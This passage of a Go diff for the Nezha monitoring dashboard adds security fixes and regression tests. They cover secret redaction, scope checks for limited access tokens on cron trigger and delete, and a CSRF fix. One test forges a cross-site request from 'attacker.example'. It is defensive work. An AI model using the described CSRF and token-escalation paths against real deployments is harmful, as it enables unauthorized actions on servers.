c.Set(model.CtxKeyAuthorizedUser, &model.User{ + Common: model.Common{ID: 10}, + Username: "alice", + Password: passwordHash, + Role: model.RoleMember, + }) + + commonHandler(getProfile)(c) + + require.Equal(t, http.StatusOK, w.Code) + require.NotContains(t, w.Body.String(), passwordHash) + + var body map[string]any + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &body)) + require.Equal(t, true, body["success"]) + data, ok := body["data"].(map[string]any) + require.True(t, ok) + require.Equal(t, "alice", data["username"]) + require.NotContains(t, data, "password") +} + +func TestUpdateProfile_UsesStoredPasswordHashAfterRedaction(t *testing.T) { + defer setupTenancyTest(t)() + require.NoError(t, singleton.DB.AutoMigrate(&model.Oauth2Bind{}, &model.JWTSession{})) + + originalUserInfoMap := singleton.UserInfoMap + originalAgentSecretToUserID := singleton.AgentSecretToUserId + singleton.UserInfoMap = make(map[uint64]model.UserInfo) + singleton.AgentSecretToUserId = make(map[string]uint64) + defer func() { + singleton.UserInfoMap = originalUserInfoMap + singleton.AgentSecretToUserId = originalAgentSecretToUserID + }() + + oldHash, err := bcrypt.GenerateFromPassword([]byte("old-password"), bcrypt.MinCost) + require.NoError(t, err) + user := model.User{ + Common: model.Common{ID: 10}, + Username: "alice", + Password: string(oldHash), + Role: model.RoleMember, + AgentSecret: "profile-update-agent-secret", + } + require.NoError(t, singleton.DB.Create(&user).Error) + + _, err = updateProfile(profileUpdateContext(t, user, model.ProfileForm{ + OriginalPassword: "wrong-password", + NewUsername: "mallory", + NewPassword: "new-password", + })) + require.Error(t, err) + + var unchanged model.User + require.NoError(t, singleton.DB.First(&unchanged, user.ID).Error) + require.Equal(t, "alice", unchanged.Username) + require.Equal(t, string(oldHash), unchanged.Password) + + _, err = updateProfile(profileUpdateContext(t, user, model.ProfileForm{ + OriginalPassword: "old-password", + NewUsername: "alice-renamed", + NewPassword: "new-password", + })) + require.NoError(t, err) + + var after model.User + require.NoError(t, singleton.DB.First(&after, user.ID).Error) + require.Equal(t, "alice-renamed", after.Username) + require.NoError(t, bcrypt.CompareHashAndPassword([]byte(after.Password), []byte("new-password"))) +} + +func profileUpdateContext(t *testing.T, user model.User, form model.ProfileForm) *gin.Context { + t.Helper() + + body, err := json.Marshal(form) + require.NoError(t, err) + c := ctxAs(user.ID, user.Role) + c.Request = httptest.NewRequest(http.MethodPost, "/api/v1/profile", bytes.NewReader(body)) + c.Request.Header.Set("Content-Type", "application/json") + c.Set(model.CtxKeyAuthorizedUser, &user) + return c +} + +func TestListDDNS_RedactsCredentials(t *testing.T) { + defer setupTenancyTest(t)() + + p := model.DDNSProfile{ + Common: model.Common{UserID: 10}, + Name: "cf", + Provider: "cloudflare", + AccessID: "id", + AccessSecret: "super-secret-token", + WebhookHeaders: `{"Authorization":"Bearer xxx"}`, + } + require.NoError(t, singleton.DB.Create(&p).Error) + singleton.DDNSShared.InsertForTest(&p) + + c := ctxAs(10, model.RoleAdmin) + out, err := listDDNS(c) + require.NoError(t, err) + require.Len(t, out, 1) + require.Empty(t, out[0].AccessSecret, "access_secret must be redacted in list response") + require.Empty(t, out[0].WebhookHeaders, "webhook_headers must be redacted in list response") + require.Equal(t, "id", out[0].AccessID, "non-secret fields must be preserved") + + var stored model.DDNSProfile + require.NoError(t, singleton.DB.First(&stored, p.ID).Error) + require.Equal(t, "super-secret-token", stored.AccessSecret, "redaction must not mutate stored data") +} + +func TestListNotification_RedactsCredentials(t *testing.T) { + defer setupTenancyTest(t)() + + n := model.Notification{ + Common: model.Common{UserID: 10}, + Name: "slack", + URL: "https://hooks.slack.com/services/T/B/secret", + RequestHeader: `{"Authorization":"Bearer xxx"}`, + RequestBody: `{"text":"#NEZHA#"}`, + } + require.NoError(t, singleton.DB.Create(&n).Error) + singleton.NotificationShared.InsertForTest(&n) + + c := ctxAs(10, model.RoleAdmin) + out, err := listNotification(c) + require.NoError(t, err) + require.Len(t, out, 1) + require.Empty(t, out[0].URL, "url must be redacted in list response") + require.Empty(t, out[0].RequestHeader, "request_header must be redacted in list response") + require.Empty(t, out[0].RequestBody, "request_body must be redacted in list response") + require.Equal(t, "slack", out[0].Name, "non-secret fields must be preserved") + + var stored model.Notification + require.NoError(t, singleton.DB.First(&stored, n.ID).Error) + require.Equal(t, "https://hooks.slack.com/services/T/B/secret", stored.URL, + "redaction must not mutate stored data") +} + +func TestUpdateDDNS_EmptySecretPreservesStored(t *testing.T) { + defer setupTenancyTest(t)() + + existing := model.DDNSProfile{ + Common: model.Common{UserID: 10}, + Name: "cf", + Provider: "webhook", + AccessID: "id", + AccessSecret: "keep-me", + WebhookURL: "http://127.0.0.1/", + WebhookMethod: 1, + WebhookHeaders: `{"X-Token":"keep-header"}`, + } + require.NoError(t, singleton.DB.Create(&existing).Error) + singleton.DDNSShared.InsertForTest(&existing) + + c := ctxAsMemberWithBody(10, map[string]any{ + "name": "cf-renamed", + "provider": "webhook", + "access_id": "id", + "access_secret": "", + "webhook_url": "http://127.0.0.1/", + "webhook_method": 1, + "webhook_request_type": 1, + "webhook_headers": "", + "max_retries": 3, + }) + c.Params = gin.Params{{Key: "id", Value: itoa(existing.ID)}} + _, err := updateDDNS(c) + require.NoError(t, err) + + var after model.DDNSProfile + require.NoError(t, singleton.DB.First(&after, existing.ID).Error) + require.Equal(t, "cf-renamed", after.Name, "non-secret edits must apply") + require.Equal(t, "keep-me", after.AccessSecret, "empty submitted secret must preserve stored value") + require.Equal(t, `{"X-Token":"keep-header"}`, after.WebhookHeaders, + "empty submitted headers must preserve stored value") +} + +func TestUpdateDDNS_NonEmptySecretOverwrites(t *testing.T) { + defer setupTenancyTest(t)() + + existing := model.DDNSProfile{ + Common: model.Common{UserID: 10}, + Name: "cf", + Provider: "webhook", + AccessSecret: "old", + WebhookURL: "http://127.0.0.1/", + WebhookMethod: 1, + } + require.NoError(t, singleton.DB.Create(&existing).Error) + singleton.DDNSShared.InsertForTest(&existing) + + c := ctxAsMemberWithBody(10, map[string]any{ + "name": "cf", + "provider": "webhook", + "access_secret": "new-secret", + "webhook_url": "http://127.0.0.1/", + "webhook_method": 1, + "webhook_request_type": 1, + "max_retries": 3, + }) + c.Params = gin.Params{{Key: "id", Value: itoa(existing.ID)}} + _, err := updateDDNS(c) + require.NoError(t, err) + + var after model.DDNSProfile + require.NoError(t, singleton.DB.First(&after, existing.ID).Error) + require.Equal(t, "new-secret", after.AccessSecret, "non-empty submitted secret must overwrite") +} + +func TestUpdateNotification_EmptyFieldsPreserveStored(t *testing.T) { + defer setupTenancyTest(t)() + + existing := model.Notification{ + Common: model.Common{UserID: 10}, + Name: "slack", + URL: "https://hooks.slack.com/services/keep", + RequestMethod: model.NotificationRequestMethodGET, + RequestType: model.NotificationRequestTypeJSON, + RequestHeader: `{"Authorization":"keep"}`, + RequestBody: "", + } + require.NoError(t, singleton.DB.Create(&existing).Error) + singleton.NotificationShared.InsertForTest(&existing) + + c := ctxAsMemberWithBody(10, map[string]any{ + "name": "slack-renamed", + "url": "", + "request_method": model.NotificationRequestMethodGET, + "request_type": model.NotificationRequestTypeJSON, + "request_header": "", + "request_body": "", + "skip_check": true, + }) + c.Params = gin.Params{{Key: "id", Value: itoa(existing.ID)}} + _, err := updateNotification(c) + require.NoError(t, err) + + var after model.Notification + require.NoError(t, singleton.DB.First(&after, existing.ID).Error) + require.Equal(t, "slack-renamed", after.Name, "non-secret edits must apply") + require.Equal(t, "https://hooks.slack.com/services/keep", after.URL, + "empty submitted url must preserve stored value") + require.Equal(t, `{"Authorization":"keep"}`, after.RequestHeader, + "empty submitted request_header must preserve stored value") +} diff --git a/cmd/dashboard/controller/cron.go b/cmd/dashboard/controller/cron.go index e715c534..a6a640a4 100644 --- a/cmd/dashboard/controller/cron.go +++ b/cmd/dashboard/controller/cron.go @@ -50,10 +50,22 @@ func createCron(c *gin.Context) (uint64, error) { return 0, err } - if !singleton.ServerShared.CheckPermission(c, slices.Values(cf.Servers)) { + if !isValidCronCover(cf.Cover) { return 0, singleton.Localizer.ErrorT("permission denied") } + if err := checkCronServerListPermission(c, cf.Cover, cf.Servers, getUid(c)); err != nil { + return 0, err + } + + if err := rejectImplicitCoverForLimitedPAT(c, cf.Cover, cf.Servers); err != nil { + return 0, err + } + + if err := assertOwnsNotificationGroup(c, cf.NotificationGroupID); err != nil { + return 0, err + } + cr.UserID = getUid(c) cr.TaskType = cf.TaskType cr.Name = cf.Name @@ -68,7 +80,6 @@ func createCron(c *gin.Context) (uint64, error) { return 0, singleton.Localizer.ErrorT("scheduled tasks cannot be triggered by alarms") } - // 对于计划任务类型，需要更新CronJob var err error if cf.TaskType == model.CronTypeCronTask { if cr.CronJobID, err = singleton.CronShared.AddFunc(cr.Scheduler, singleton.CronTrigger(&cr)); err != nil { @@ -108,8 +119,8 @@ func updateCron(c *gin.Context) (any, error) { return 0, err } - if !singleton.ServerShared.CheckPermission(c, slices.Values(cf.Servers)) { - return 0, singleton.Localizer.ErrorT("permission denied") + if !isValidCronCover(cf.Cover) { + return nil, singleton.Localizer.ErrorT("permission denied") } var cr model.Cron @@ -121,6 +132,18 @@ func updateCron(c *gin.Context) (any, error) { return nil, singleton.Localizer.ErrorT("permission denied") } + if err := checkCronServerListPermission(c, cf.Cover, cf.Servers, cr.GetUserID()); err != nil { + return nil, err + } + + if err := rejectImplicitCoverForLimitedPATWithOwner(c, cf.Cover, cf.Servers, cr.GetUserID()); err != nil { + return nil, err + } + + if err := assertOwnsNotificationGroup(c, cf.NotificationGroupID); err != nil { + return nil, err + } + cr.TaskType = cf.TaskType cr.Name = cf.Name cr.Scheduler = cf.Scheduler @@ -159,7 +182,7 @@ func updateCron(c *gin.Context) (any, error) { // @param id path uint true "Task ID" // @Produce json // @Success 200 {object} model.CommonResponse[any] -// @Router /cron/{id}/manual [get] +// @Router /cron/{id}/manual [post] func manualTriggerCron(c *gin.Context) (any, error) { idStr := c.Param("id") id, err := strconv.ParseUint(idStr, 10, 64) @@ -176,6 +199,14 @@ func manualTriggerCron(c *gin.Context) (any, error) { return nil, singleton.Localizer.ErrorT("permission denied") } + // 运行时回放写侧 rejectImplicitCoverForLimitedPAT* 同一条 PAT 收口： + // 历史脏数据 / 旁路写入的 cron 仍可能携带「CronCoverAll + 不充分 deny-list」 + // 的配置；CronTrigger 没有 PAT 上下文，manualTrigger 这里是唯一阻止 + // 受限 PAT 触发 fan-out 到白名单外 owner servers 的同步入口。 + if err := enforcePATCronDispatchScope(c, cr); err != nil { + return nil, err + } + singleton.ManualTrigger(cr) return nil, nil } @@ -201,6 +232,19 @@ func batchDeleteCron(c *gin.Context) (any, error) { return nil, singleton.Localizer.ErrorT("permission denied") } + // 与 manualTriggerCron 对称：删除会改变 fan-out 范围本身，受限 PAT 不 + // 应通过删除一个白名单内的「掩护」cron 间接放大对白名单外 owner servers + // 的影响。回放同一条 cover-fanout 收口。 + for _, id := range cr { + existing, ok := singleton.CronShared.Get(id) + if !ok || existing == nil { + continue + } + if err := enforcePATCronDispatchScope(c, existing); err != nil { + return nil, err + } + } + if err := singleton.DB.Unscoped().Delete(&model.Cron{}, "id in (?)", cr).Error; err != nil { return nil, newGormError("%v", err) } diff --git a/cmd/dashboard/controller/cron_cover_validation_test.go b/cmd/dashboard/controller/cron_cover_validation_test.go new file mode 100644 index 00000000..ae5a6752 --- /dev/null +++ b/cmd/dashboard/controller/cron_cover_validation_test.go @@ -0,0 +1,54 @@ +package controller + +import ( + "testing" + + "github.com/nezhahq/nezha/model" +) + +// C2 regression: writes must reject unknown Cover values so dirty configs +// cannot be persisted. CronTrigger has no PAT context on the periodic +// scheduler path, so unknown Cover sails past every PAT guard and dispatches +// via the default branch in CronTrigger (no CoverAll/IgnoreAll match → still +// reaches every server that passes cronCanSendToServer). +func TestIsValidCronCover_RejectsUnknown(t *testing.T) { + cases := []struct { + name string + cover uint8 + want bool + }{ + {"CoverIgnoreAll", model.CronCoverIgnoreAll, true}, + {"CoverAll", model.CronCoverAll, true}, + {"CoverAlertTrigger", model.CronCoverAlertTrigger, true}, + {"unknown_99", 99, false}, + {"unknown_max", 255, false}, + {"unknown_3", 3, false}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if got := isValidCronCover(tc.cover); got != tc.want { + t.Fatalf("isValidCronCover(%d) = %v, want %v", tc.cover, got, tc.want) + } + }) + } +} + +func TestIsValidServiceCover_RejectsUnknown(t *testing.T) { + cases := []struct { + name string + cover uint8 + want bool + }{ + {"ServiceCoverAll", model.ServiceCoverAll, true}, + {"ServiceCoverIgnoreAll", model.ServiceCoverIgnoreAll, true}, + {"unknown_99", 99, false}, + {"unknown_max", 255, false}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if got := isValidServiceCover(tc.cover); got != tc.want { + t.Fatalf("isValidServiceCover(%d) = %v, want %v", tc.cover, got, tc.want) + } + }) + } +} diff --git a/cmd/dashboard/controller/cron_dispatch_pat_test.go b/cmd/dashboard/controller/cron_dispatch_pat_test.go new file mode 100644 index 00000000..91eada37 --- /dev/null +++ b/cmd/dashboard/controller/cron_dispatch_pat_test.go @@ -0,0 +1,225 @@ +package controller + +// 回归 cron 运行时入口 (manualTriggerCron / batchDeleteCron) 上的 PAT +// cover-fanout 收口。配合 permissions_cover_fanout_test.go 的底座单测， +// 形成「共享底座 ↔ 资源专用入口」两层钉子，任何后续重构（例如把 guard +// 拆出 controller、把 cover 模式合并/拆分）都必须保留： +// - 受限 PAT 不能通过 manualTrigger 触发一个 deny-list 不充分的 +// CronCoverAll → 否则 CronTrigger fan out 到白名单外 owner servers。 +// - 受限 PAT 不能通过 batchDelete 删除同样形态的 cron → 否则相当于 +// 间接操作白名单外 owner servers 的调度策略。 + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "strconv" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/patrickmn/go-cache" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" + "github.com/nezhahq/nezha/service/singleton" +) + +// setupCronDispatchPATFixture 与 setupCoverPATFixture 同一拓扑：alice +// (uid=100) 拥有 server 1 / server 2；下游测试给出 PAT server_ids=[1]。 +func setupCronDispatchPATFixture(t *testing.T) { + t.Helper() + + originalDB := singleton.DB + originalCache := singleton.Cache + originalLoc := singleton.Loc + originalLocalizer := singleton.Localizer + originalCron := singleton.CronShared + originalServer := singleton.ServerShared + originalUserInfo := singleton.UserInfoMap + originalNotification := singleton.NotificationShared + + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + require.NoError(t, err) + sqlDB, err := db.DB() + require.NoError(t, err) + require.NoError(t, db.AutoMigrate(&model.Cron{}, &model.Server{}, &model.User{}, &model.NotificationGroup{}, &model.Notification{})) + + singleton.DB = db + singleton.Loc = time.UTC + singleton.Cache = cache.New(time.Minute, time.Minute) + singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) + // CronTrigger 的 fan-out 路径会在 server 没接入 task-stream 时调 + // NotificationShared.SendNotification 上报「离线」；这里给出一个空的 + // notification class，避免 nil deref。本测试不验证通知内容。 + singleton.NotificationShared = singleton.NewNotificationClass() + + sc := singleton.NewEmptyServerClassForTest() + for _, id := range []uint64{1, 2} { + s := &model.Server{} + s.ID = id + s.SetUserID(100) + sc.InsertForTest(s) + } + singleton.ServerShared = sc + singleton.CronShared = singleton.NewCronClass() + + singleton.UserLock.Lock() + singleton.UserInfoMap = map[uint64]model.UserInfo{100: {Role: model.RoleMember}} + singleton.UserLock.Unlock() + + t.Cleanup(func() { + // Test-owned cron jobs must be joined before restoring process-global singleton dependencies. + singleton.CronShared.Close() + _ = sqlDB.Close() + singleton.DB = originalDB + singleton.Cache = originalCache + singleton.Loc = originalLoc + singleton.Localizer = originalLocalizer + singleton.CronShared = originalCron + singleton.ServerShared = originalServer + singleton.NotificationShared = originalNotification + singleton.UserLock.Lock() + singleton.UserInfoMap = originalUserInfo + singleton.UserLock.Unlock() + }) +} + +func insertCronForDispatchTest(t *testing.T, cover uint8, servers []uint64) uint64 { + t.Helper() + cr := &model.Cron{ + Common: model.Common{UserID: 100}, + Name: "dispatch-fixture", + TaskType: model.CronTypeCronTask, + Command: "echo dispatch", + Servers: servers, + Cover: cover, + } + require.NoError(t, singleton.DB.Create(cr).Error) + singleton.CronShared.Update(cr) + return cr.ID +} + +func newCronDispatchRouter(t *testing.T, tok *model.APIToken) *gin.Engine { + t.Helper() + gin.SetMode(gin.TestMode) + r := gin.New() + r.Use(func(c *gin.Context) { + setAuthUser(c, 100, model.RoleMember) + if tok != nil { + c.Set(model.CtxKeyAPIToken, tok) + c.Set(apiTokenCtxKey, tok) + } + c.Next() + }) + r.POST("/api/v1/cron/:id/manual", commonHandler(manualTriggerCron)) + r.POST("/api/v1/batch-delete/cron", commonHandler(batchDeleteCron)) + return r +} + +func TestManualTriggerCron_RejectsCoverAllWithInsufficientDenyForLimitedPAT(t *testing.T) { + setupCronDispatchPATFixture(t) + cronID := insertCronForDispatchTest(t, model.CronCoverAll, []uint64{1}) + + tok := &model.APIToken{ID: 17, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := newCronDispatchRouter(t, tok) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, + "/api/v1/cron/"+strconv.FormatUint(cronID, 10)+"/manual", nil) + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.False(t, success, + "PAT [1] must NOT manually trigger a CronCoverAll cron whose deny-list does not cover owner server 2; CronTrigger would fan out to it") + assert.Contains(t, errMsg, "permission denied") +} + +func TestManualTriggerCron_AllowsCoverAllWhenDenyCoversNonWhitelisted(t *testing.T) { + setupCronDispatchPATFixture(t) + cronID := insertCronForDispatchTest(t, model.CronCoverAll, []uint64{2}) + + tok := &model.APIToken{ID: 18, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := newCronDispatchRouter(t, tok) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, + "/api/v1/cron/"+strconv.FormatUint(cronID, 10)+"/manual", nil) + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.True(t, success, + "CronCoverAll whose deny-list covers every non-whitelisted owner server must remain triggerable: error=%s", errMsg) +} + +func TestManualTriggerCron_AllowsCoverIgnoreAllInsideWhitelist(t *testing.T) { + setupCronDispatchPATFixture(t) + cronID := insertCronForDispatchTest(t, model.CronCoverIgnoreAll, []uint64{1}) + + tok := &model.APIToken{ID: 19, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := newCronDispatchRouter(t, tok) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, + "/api/v1/cron/"+strconv.FormatUint(cronID, 10)+"/manual", nil) + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.True(t, success, + "CronCoverIgnoreAll allow-list inside PAT whitelist must trigger normally: error=%s", errMsg) +} + +func TestBatchDeleteCron_RejectsCoverAllWithInsufficientDenyForLimitedPAT(t *testing.T) { + setupCronDispatchPATFixture(t) + cronID := insertCronForDispatchTest(t, model.CronCoverAll, []uint64{1}) + + tok := &model.APIToken{ID: 21, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := newCronDispatchRouter(t, tok) + body, _ := json.Marshal([]uint64{cronID}) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/api/v1/batch-delete/cron", bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.False(t, success, + "PAT [1] must NOT batch-delete a CronCoverAll cron whose deny-list does not cover owner server 2") + assert.Contains(t, errMsg, "permission denied") + + var rows []model.Cron + require.NoError(t, singleton.DB.Find(&rows).Error) + assert.Len(t, rows, 1, "cron row must still exist when the delete call is rejected") +} + +func TestBatchDeleteCron_AllowsCoverAllWhenDenyCoversNonWhitelisted(t *testing.T) { + setupCronDispatchPATFixture(t) + cronID := insertCronForDispatchTest(t, model.CronCoverAll, []uint64{2}) + + tok := &model.APIToken{ID: 22, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := newCronDispatchRouter(t, tok) + body, _ := json.Marshal([]uint64{cronID}) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/api/v1/batch-delete/cron", bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.True(t, success, + "deny-list covering every non-whitelisted owner server must allow batch-delete: error=%s", errMsg) + + var rows []model.Cron + require.NoError(t, singleton.DB.Find(&rows).Error) + assert.Empty(t, rows, "cron row must be deleted when the call succeeds") +} diff --git a/cmd/dashboard/controller/cron_list_pat_whitelist_test.go b/cmd/dashboard/controller/cron_list_pat_whitelist_test.go new file mode 100644 index 00000000..274c04d9 --- /dev/null +++ b/cmd/dashboard/controller/cron_list_pat_whitelist_test.go @@ -0,0 +1,65 @@ +package controller + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" +) + +func newCronListPATRouter(t *testing.T, tok *model.APIToken) *gin.Engine { + t.Helper() + gin.SetMode(gin.TestMode) + r := gin.New() + r.Use(func(c *gin.Context) { + setAuthUser(c, 100, model.RoleMember) + if tok != nil { + c.Set(model.CtxKeyAPIToken, tok) + c.Set(apiTokenCtxKey, tok) + } + c.Next() + }) + r.GET("/api/v1/cron", listHandler(listCron)) + return r +} + +// GET /api/v1/cron must replay the same deny-list rule the dispatch guards +// use; otherwise a stale or out-of-band-written CronCoverAll row whose +// Servers deny-list does not cover the non-whitelisted owner server still +// shows up in the limited PAT's list view. +func TestListCron_HidesCoverAllWithInsufficientDenyForLimitedPAT(t *testing.T) { + setupCronDispatchPATFixture(t) + insufficient := insertCronForDispatchTest(t, model.CronCoverAll, []uint64{1}) + sufficient := insertCronForDispatchTest(t, model.CronCoverAll, []uint64{2}) + + tok := &model.APIToken{ID: 23, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := newCronListPATRouter(t, tok) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/api/v1/cron", nil) + r.ServeHTTP(w, req) + + var resp struct { + Success bool `json:"success"` + Error string `json:"error"` + Data []*model.Cron `json:"data"` + } + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + require.True(t, resp.Success, resp.Error) + + seen := map[uint64]bool{} + for _, c := range resp.Data { + seen[c.ID] = true + } + assert.False(t, seen[insufficient], + "PAT [1] must NOT see a CronCoverAll whose deny-list does not cover owner server 2 (rows=%+v)", resp.Data) + assert.True(t, seen[sufficient], + "PAT [1] must still see a CronCoverAll whose deny-list already covers every non-whitelisted owner server") +} diff --git a/cmd/dashboard/controller/cron_manual_csrf_test.go b/cmd/dashboard/controller/cron_manual_csrf_test.go new file mode 100644 index 00000000..f5522dcc --- /dev/null +++ b/cmd/dashboard/controller/cron_manual_csrf_test.go @@ -0,0 +1,109 @@ +package controller + +import ( + "net/http" + "net/http/httptest" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/patrickmn/go-cache" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" + "github.com/nezhahq/nezha/service/singleton" +) + +func setupCronManualTriggerFixture(t *testing.T) { + t.Helper() + + originalDB := singleton.DB + originalCache := singleton.Cache + originalLoc := singleton.Loc + originalLocalizer := singleton.Localizer + originalCron := singleton.CronShared + originalServer := singleton.ServerShared + originalUserInfo := singleton.UserInfoMap + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + require.NoError(t, err) + sqlDB, err := db.DB() + require.NoError(t, err) + require.NoError(t, db.AutoMigrate(&model.Cron{}, &model.Server{}, &model.User{})) + + singleton.DB = db + singleton.Loc = time.UTC + singleton.Cache = cache.New(time.Minute, time.Minute) + singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) + singleton.ServerShared = singleton.NewServerClass() + singleton.CronShared = singleton.NewCronClass() + singleton.UserLock.Lock() + singleton.UserInfoMap = map[uint64]model.UserInfo{100: {Role: model.RoleMember}} + singleton.UserLock.Unlock() + + cr := &model.Cron{ + Common: model.Common{ID: 7, UserID: 100}, + Name: "victim cron", + TaskType: model.CronTypeCronTask, + Command: "echo csrf-poc", + Cover: model.CronCoverIgnoreAll, + } + require.NoError(t, db.Create(cr).Error) + singleton.CronShared.Update(cr) + + t.Cleanup(func() { + singleton.CronShared.Close() + _ = sqlDB.Close() + singleton.DB = originalDB + singleton.Cache = originalCache + singleton.Loc = originalLoc + singleton.Localizer = originalLocalizer + singleton.CronShared = originalCron + singleton.ServerShared = originalServer + singleton.UserLock.Lock() + singleton.UserInfoMap = originalUserInfo + singleton.UserLock.Unlock() + }) +} + +func newCronManualRouter() *gin.Engine { + gin.SetMode(gin.TestMode) + r := gin.New() + r.Use(func(c *gin.Context) { + c.Set(model.CtxKeyAuthorizedUser, &model.User{ + Common: model.Common{ID: 100}, + Role: model.RoleMember, + }) + c.Next() + }) + r.POST("/api/v1/cron/:id/manual", commonHandler(manualTriggerCron)) + return r +} + +func TestCronManualTriggerRejectsCrossSiteGET(t *testing.T) { + setupCronManualTriggerFixture(t) + r := newCronManualRouter() + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil) + req.Header.Set("Origin", "https://attacker.example") + req.Header.Set("Sec-Fetch-Site", "cross-site") + r.ServeHTTP(w, req) + + assert.Equal(t, http.StatusNotFound, w.Code, "manual trigger must reject cross-site GET — the route is POST-only after the CSRF fix") +} + +func TestCronManualTriggerAcceptsSameSitePOST(t *testing.T) { + setupCronManualTriggerFixture(t) + r := newCronManualRouter() + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, "/api/v1/cron/7/manual", nil) + r.ServeHTTP(w, req) + + success, errMsg := decodeCommonResponseError(t, w.Body.Bytes()) + assert.True(t, success, "owner POST must succeed: error=%q", errMsg) +} diff --git a/cmd/dashboard/controller/cron_pat_whitelist_test.go b/cmd/dashboard/controller/cron_pat_whitelist_test.go new file mode 100644 index 00000000..a5444416 --- /dev/null +++ b/cmd/dashboard/controller/cron_pat_whitelist_test.go @@ -0,0 +1,165 @@ +package controller + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "strconv" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/patrickmn/go-cache" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" + "github.com/nezhahq/nezha/service/singleton" +) + +func setupCronPATWhitelistFixture(t *testing.T) (cronID7, cronID8 uint64) { + t.Helper() + + originalDB := singleton.DB + originalCache := singleton.Cache + originalLoc := singleton.Loc + originalLocalizer := singleton.Localizer + originalCron := singleton.CronShared + originalServer := singleton.ServerShared + originalUserInfo := singleton.UserInfoMap + + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + require.NoError(t, err) + sqlDB, err := db.DB() + require.NoError(t, err) + require.NoError(t, db.AutoMigrate(&model.Cron{}, &model.Server{}, &model.User{})) + + singleton.DB = db + singleton.Loc = time.UTC + singleton.Cache = cache.New(time.Minute, time.Minute) + singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) + singleton.ServerShared = singleton.NewServerClass() + singleton.CronShared = singleton.NewCronClass() + singleton.UserLock.Lock() + singleton.UserInfoMap = map[uint64]model.UserInfo{100: {Role: model.RoleMember}} + singleton.UserLock.Unlock() + + cr7 := &model.Cron{ + Common: model.Common{UserID: 100}, + Name: "cron-on-server-1", + TaskType: model.CronTypeCronTask, + Command: "echo s1", + Servers: []uint64{1}, + Cover: model.CronCoverIgnoreAll, + } + cr8 := &model.Cron{ + Common: model.Common{UserID: 100}, + Name: "cron-on-server-2", + TaskType: model.CronTypeCronTask, + Command: "echo s2", + Servers: []uint64{2}, + Cover: model.CronCoverIgnoreAll, + } + require.NoError(t, db.Create(cr7).Error) + require.NoError(t, db.Create(cr8).Error) + singleton.CronShared.Update(cr7) + singleton.CronShared.Update(cr8) + + t.Cleanup(func() { + singleton.CronShared.Close() + _ = sqlDB.Close() + singleton.DB = originalDB + singleton.Cache = originalCache + singleton.Loc = originalLoc + singleton.Localizer = originalLocalizer + singleton.CronShared = originalCron + singleton.ServerShared = originalServer + singleton.UserLock.Lock() + singleton.UserInfoMap = originalUserInfo + singleton.UserLock.Unlock() + }) + + return cr7.ID, cr8.ID +} + +func newCronPATRouter(tok *model.APIToken) *gin.Engine { + gin.SetMode(gin.TestMode) + r := gin.New() + r.Use(func(c *gin.Context) { + setAuthUser(c, 100, model.RoleMember) + if tok != nil { + c.Set(model.CtxKeyAPIToken, tok) + c.Set(apiTokenCtxKey, tok) + } + c.Next() + }) + r.POST("/api/v1/cron/:id/manual", commonHandler(manualTriggerCron)) + r.GET("/api/v1/cron", listHandler(listCron)) + return r +} + +func TestCronManualTrigger_DeniesServerOutsidePATWhitelist(t *testing.T) { + _, cron8 := setupCronPATWhitelistFixture(t) + + tok := &model.APIToken{ID: 17, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + r := newCronPATRouter(tok) + w := 